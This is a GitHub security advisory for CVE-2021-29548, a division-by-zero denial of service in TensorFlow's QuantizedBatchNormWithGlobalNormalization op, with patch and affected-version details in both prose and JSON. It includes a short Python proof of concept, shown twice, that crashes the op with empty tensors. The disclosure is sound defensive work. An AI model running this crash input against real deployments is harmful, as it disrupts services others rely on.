ghsa-p45v-v4pw-77jr
Vulnerability from github
Impact
An attacker can cause a runtime division by zero error and denial of service in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization
:
```python import tensorflow as tf
t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8) t_min = tf.constant(-10.0, dtype=tf.float32) t_max = tf.constant(-10.0, dtype=tf.float32) m = tf.constant([], shape=[0], dtype=tf.quint8) m_min = tf.constant(-10.0, dtype=tf.float32) m_max = tf.constant(-10.0, dtype=tf.float32) v = tf.constant([], shape=[0], dtype=tf.quint8) v_min = tf.constant(-10.0, dtype=tf.float32) v_max = tf.constant(-10.0, dtype=tf.float32) beta = tf.constant([], shape=[0], dtype=tf.quint8) beta_min = tf.constant(-10.0, dtype=tf.float32) beta_max = tf.constant(-10.0, dtype=tf.float32) gamma = tf.constant([], shape=[0], dtype=tf.quint8) gamma_min = tf.constant(-10.0, dtype=tf.float32) gamma_max = tf.constant(-10.0, dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization( t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max, v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min, beta_max=beta_max, gamma=gamma, gamma_min=gamma_min, gamma_max=gamma_max, out_type=tf.qint32, variance_epsilon=0.1, scale_after_normalization=True) ```
This is because the implementation does not validate all constraints specified in the op's contract.
Patches
We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.1.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.2.0" }, { "fixed": "2.2.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.3.0" }, { "fixed": "2.3.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.1.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.2.0" }, { "fixed": "2.2.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.3.0" }, { "fixed": "2.3.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.1.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.2.0" }, { "fixed": "2.2.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.3.0" }, { "fixed": "2.3.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.2" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2021-29548" ], "database_specific": { "cwe_ids": [ "CWE-369" ], "github_reviewed": true, "github_reviewed_at": "2021-05-18T21:30:45Z", "nvd_published_at": "2021-05-14T20:15:00Z", "severity": "LOW" }, "details": "### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nt_min = tf.constant(-10.0, dtype=tf.float32)\nt_max = tf.constant(-10.0, dtype=tf.float32)\nm = tf.constant([], shape=[0], dtype=tf.quint8)\nm_min = tf.constant(-10.0, dtype=tf.float32)\nm_max = tf.constant(-10.0, dtype=tf.float32)\nv = tf.constant([], shape=[0], dtype=tf.quint8)\nv_min = tf.constant(-10.0, dtype=tf.float32)\nv_max = tf.constant(-10.0, dtype=tf.float32)\nbeta = tf.constant([], shape=[0], dtype=tf.quint8)\nbeta_min = tf.constant(-10.0, dtype=tf.float32)\nbeta_max = tf.constant(-10.0, dtype=tf.float32)\ngamma = tf.constant([], shape=[0], dtype=tf.quint8)\ngamma_min = tf.constant(-10.0, dtype=tf.float32)\ngamma_max = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n gamma_max=gamma_max, out_type=tf.qint32,\n variance_epsilon=0.1, scale_after_normalization=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op\u0027s contract](https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization).\n\n### Patches \nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team", "id": "GHSA-p45v-v4pw-77jr", "modified": "2024-10-31T20:46:23Z", "published": "2021-05-21T14:23:34Z", "references": [ { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p45v-v4pw-77jr" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29548" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-476.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-674.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-185.yaml" }, { "type": "PACKAGE", "url": "https://github.com/tensorflow/tensorflow" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Division by 0 in `QuantizedBatchNormWithGlobalNormalization`" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.